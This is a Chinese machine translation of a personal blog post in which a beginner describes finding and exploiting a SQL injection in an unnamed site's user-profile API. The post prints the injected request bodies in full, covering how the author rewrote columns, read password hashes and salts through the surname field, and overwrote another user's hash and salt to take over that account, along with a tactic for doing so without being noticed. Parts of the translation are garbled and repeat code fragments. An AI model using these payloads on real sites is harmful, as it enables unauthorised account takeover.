我的第一个hack:允许您设置任何用户密码的网站

最近,我发现了一个有趣的漏洞,该漏洞允许任何用户设置特定站点来设置任何密码。 酷吧?

这很有趣,我认为我可以写一篇有趣的文章。

你偶然发现了它。



注意:翻译文章作者不是信息安全专家,这是他第一次涉足SQL注入领域。 他问是“宽容的对待他的天真。”

警告:翻译文章作者将不会透露具有此漏洞的网站。 不是因为他通知了所有者并且被沉默所束缚,而是因为他想为自己保留漏洞。 如果您发现此站点,请闭上嘴(tsyts)。

您知道,这有时是您有时在工具包中为开发人员打开网站,检查缩小的代码和网络请求而没有任何目的的方式。 突然之间,您发现这里有问题。 根本不是那样。 这就是我喜欢的页面做一个网站上的用户配置文件,并注意到,上下车收到的通知转身时,页面发送网络请求:

/api/users?email=no 

我想:我想知道他们是否允许一些愚蠢? 也许我应该尝试SQL注入?

我在网上搜索“ xkcd小鲍比表”,以刷新关于如何进行SQL注入的记忆(我不喜欢它们)并开始工作。

在Chrome的网络标签中,我复制了请求(复制>复制为提取)并将结果粘贴到片段中,以便可以播放请求:

 fetch('https://blah.com/api/users', { credentials: 'include', headers: { authorization: 'Bearer blah', 'content-type': 'application/x-www-form-urlencoded', 'sec-fetch-mode': 'cors', 'x-csrf-token': 'blah', }, referrer: 'https://blah.com/blah', referrerPolicy: 'no-referrer-when-downgrade', body: 'email=no', // < -- The bit we're interested in method: 'POST', mode: 'cors', }); 

本文的其余部分专门讨论body行-它是一种向服务器发送指令的传输方式。

首先,我尝试通过在lastName列中设置值来更改我的姓氏,仅关注其名称:

 { // ... body: `email=no', lastName='testing` } lastName的=' testing` { // ... body: `email=no', lastName='testing` } 

没什么有趣的事。 然后我做了,与同一last_name ,然后尝试他的运气与surname -和糟糕! - 取代了我的姓氏“测试”。

非常令人兴奋。 我一直以为像一本书,传说中的SQL注入。 那些没有真正打开了由用户直接在SQL-进入插入数据的世界中的代码。

一点哲学
近年来,在我的生活中的许多问题,我来自鲟鱼的法律的角度来看:“90%,周围的一切的 - 垃圾。” 我意识到,如果我们假设,仿佛一切都做得正确,那么你就失去了很多机会。 我认为对人类的这种新发现的怀疑给了我足够的信心,甚至可以从事这项实验。

对于所有的门外汉,解释一下什么是找到了我的结果。
我相信服务器上也会发生类似的事情:

 const userId = someSessionStore.userId; const email = request.body.email; const sql = `UPDATE users SET email = '${email}' WHERE id = '${userId}'`; 

我确定他们的服务器是用PHP编写的,但是我不会讲这种语言,因此我将用JavaScript编写示例。 另外,我不是特别擅长SQL查询。 我不知道该表是否称为userusersuser_table ,这无关紧要。

如果我的用户ID是1234,并且我发送的电子邮件= no,那么SQL结果如下:

 UPDATE users SET email = 'no' WHERE id = '1234' 

而且,如果您将no替换为字符串no', surname = 'testing ,那么SQL将是有效的,但很棘手:

 UPDATE users SET email = 'no', surname = 'testing' WHERE id = '1234' 

你还记得,我在开发者工具的代码片段发送请求,而我的个人资料页上。 因此,从现在开始,您可以将此页面上的“姓氏”字段(HTML <input>元素)视为一个小型标准输出,可以通过在数据库的“ surname列中设置我的用户帐户的值来向其中写入信息。

然后我想知道是否可以将数据从另一列复制到surname列?

我不知道该怎么做,如何使用SQL,此外,我不知道服务器上使用了哪个数据库。 因此,在执行每个步骤之后,我花了20分钟搜索网络,然后又用力挠了20分钟,因为我经常在错误的方向插入引号。 奇怪的是我没有销毁整个数据库。

事实证明,将数据从一列复制到另一列要困难一些,因为我想发送这样的请求(假设应该有一个password列):

 UPDATE users SET email = 'no', surname = password WHERE id = '1234' 

请注意,在周围的代码password都没有引号。 您还记得,一个超现代的查询设计器应该看起来像这样...

 const sql = `UPDATE users SET email = '${email}' WHERE id = '${userId}'`; 

...也就是说,当您尝试不传递no', surname = password结果字符串将不是有效的SQL查询。 相反,我不得不注射整个字符串是请求的第二部分,并在其后在于这一切,被忽略。 特别是,我需要通过WHERE和; SQL语句的末尾以及注释#以便忽略其右侧的信息。 是的,我很难解释。

简而言之,我发送了一条新行:

 { // ... body: `email=no', surname = password WHERE username = 'me@email.com'; #` } 

并将以下行发送到数据库:

 UPDATE users SET email = 'no', surname = password WHERE username = 'me@email.com'; # WHERE id = '1234' ,姓=密码其中username =“me@email.com”; UPDATE users SET email = 'no', surname = password WHERE username = 'me@email.com'; # WHERE id = '1234' 

请注意,数据库将忽略WHERE id = '1234' ,因为该部分位于注释号之后(在SQL查询中禁止注释似乎是防止草率代码的好方法)。

我希望我的密码为P @ ssword1显示在文本窗体字段名称,而是我00fcdde26dd77af7858a52e3913e6f3330a32b31。

这让我感到失望,尽管这并不令我感到惊讶,并且我继续尝试将密码的哈希值复制到另一个用户的密码列中。

让我为初学者解释一下:当您在某个地方创建一个帐户并发送新密码P @ ssword1时,它将变成一个类似于00fcdde26dd77af7858a52e3913e6f3330a32b31的哈希,并存储在数据库中。 查看此哈希,没有人能够确定您的密码(或这样说)。

下一次你登录并输入密码password @ 1,服务器再次散列,并存储在数据库中的哈希值进行比较。 这将确认符合性,甚至不保存您的密码。

这意味着,如果我想给某人密码P @ ssword1,则必须将该用户的密码列设置为00fcdde26dd77af7858a52e3913e6f3330a32b31。

重量轻。

我打开了另一个浏览器,用不同的邮件创建了一个新用户,首先检查是否可以设置数据。 将body属性更新为:

 { // ... body: `email=no', surname = 'WOOT!!' WHERE username = 'user-two@email.com'; #` } 姓=' WOOT!“ { // ... body: `email=no', surname = 'WOOT!!' WHERE username = 'user-two@email.com'; #` } 

我执行了代码,更新了该用户的页面,而且,它确实起作用了! 现在他的姓是“ WOOT !!” (我的祖母的娘家姓)。

然后,我尝试为此用户设置密码:

  // ... body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b31' WHERE username = 'user-two@email.com'; #` } 

你知道吗?!?!?

没用 现在,我无权访问第二个帐户。
原来我做了其中的花好几个小时的计算两个错误。 正在阅读本文的信息安全专家已经了解了他们在说什么,并且可能嘲笑写在“最年轻的黑客”首页上列出的“漏洞”的傻瓜。

Nuuuuuu,到最后,我搜索按需“密码哈希”在网络上,发现很多我的长哈希00fcdde26dd77af7858a52e3913e6f3330a32b31的。 好像他在某个地方播种。
我试图写在姓字段一段文本,发现的40个字符的限制(当然,他们要求maxlength属性<inrut>以符合在数据库中的限制)。

现在我只对哈希的前40个字符感兴趣,这可能更长。 我搜索“ sql子字符串”,并很快将以下请求发送到服务器:

 { // ... body: `email=no', surname = SUBSTRING(password, 30, 1000) WHERE username = 'me@email.com'; #` } 

以30开头,以确保前10个字符与后10个字符重叠00fcdde26dd77af7858a52e3913e6f3330a32b31。 或者过去的9或11。

抒情离题
我想,当我死了,去地狱,我被迫在缓慢滚动永远看通过所有我的错误,一前一后。 当我一次又一次地意识到自己无尽的愚蠢时,特写镜头露出我的脸。

让我们回到现实:字符重叠和连接线,我得到了64个字符的哈希值。 我再次尝试将其复制到第二个用户:

  { // ... body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453' WHERE username = 'user-two@email.com'; #` } 

你知道什么?!?!
好吧,你猜对了,因为我提到了两个错误。

我仍然无法登录到第二个帐户,但是已经接近该帐户了(那一刻我很高兴知道这一点)。

我搜索“最佳实践数据库密码”,发现/记住了“盐”之类的东西。

使用的盐是指,如果您为一个用户创建2P @ ssword1的哈希值,另一个用户相同的密码会给其他哈希(使用不同的盐)。 当然,一个密码哈希不适用于两个用户,盐是不同的。

这似乎很聪明,但同时又很愚蠢。 在表中的所有示例中,仅存在另一列,称为salt。 这是否意味着我需要从两列而不是一列复制数据? 是不是它看起来像一个第二锁,这符合相同的密钥?

我更改了查询,希望从可能称为salt的列中复制值,
到姓氏列:

  { // ... body: `email=no', surname = salt WHERE username = 'myemail@email.com'; #` } 

姓氏字段中出现了一组随机字符,这是一个好兆头。 为了得到原来是64个字符的盐,我再次使用了SUBSTRING。

一切准备就绪。 我有一个密码哈希和用于创建它的盐,您只需要将它们复制到另一个用户。 我那天晚上发送了我的最后一个网络请求:

 fetch('https://blah.com/api/users', { credentials: 'include', headers: { authorization: 'Bearer blah', 'content-type': 'application/x-www-form-urlencoded', 'sec-fetch-mode': 'cors', 'x-csrf-token': 'blah', }, referrer: 'https://blah.com/blah', referrerPolicy: 'no-referrer-when-downgrade', body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453', salt = '8b7df143d91c716ecfa5fc1730022f6b421b05cedee8fd52b1fc65a96030ad52' WHERE username = 'user-two@gmail.com'; #`, method: 'POST', mode: 'cors', }); 口令=' 00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453 '盐=' 8b7df143d91c716ecfa5fc1730022f6b421b05cedee8fd52b1fc65a96030ad52 'WHERE用户名=' user-two@gmail.com“; fetch('https://blah.com/api/users', { credentials: 'include', headers: { authorization: 'Bearer blah', 'content-type': 'application/x-www-form-urlencoded', 'sec-fetch-mode': 'cors', 'x-csrf-token': 'blah', }, referrer: 'https://blah.com/blah', referrerPolicy: 'no-referrer-when-downgrade', body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453', salt = '8b7df143d91c716ecfa5fc1730022f6b421b05cedee8fd52b1fc65a96030ad52' WHERE username = 'user-two@gmail.com'; #`, method: 'POST', mode: 'cors', }); 

奏效了! 现在,我可以使用第一个帐户的密码登录到第二个帐户。
是不是疯了吗?

* * *

有很多的试验和错误,但是当我选择这个用户,我第一次得到了盐和散列和守在家里。 然后,按照文章中的描述,用我的将其盐腌的哈希值替换,登录并立即用原始值替换盐和哈希值。 登录时,我只需要瞬间更改他人的密码,因此几乎可以肯定他们不会找到我。

从理论上讲,当然。 我永远不会那样做。

* * *

您可能想知道这是否是一个虚构的故事。 没有弥补。 我更改了一些小细节以保护自己免受指控,但其他所有内容均如前所述。 而且,当然,事实上,我已将该漏洞报告给了网站所有者。

但是我不禁要问自己,这是否仅仅是初学者的运气。 从字面上看,这是我尝试SQL注入的第一个站点,一切似乎都在为我准备,就好像我已经通过了针对孩子的黑客考试一样。

我描述的网站很小,用户很少(34,718)。 这是一种有偿服务,使硬化的黑客不感兴趣。 然而,令我震惊的是,这是可能的。

简而言之,现在我迷上了信息安全这一整个主题。 对我来说,来到最喜欢的两个东西放在一起:编写代码和流氓行为。 因此,在谷歌上搜索“澳大利亚的信息安全薪水”,我想我找到了一份新工作。
感谢您的阅读!

PS:翻译的文章试图保持作者的风格:)

Source: https://habr.com/ru/post/zh-CN468695/


All Articles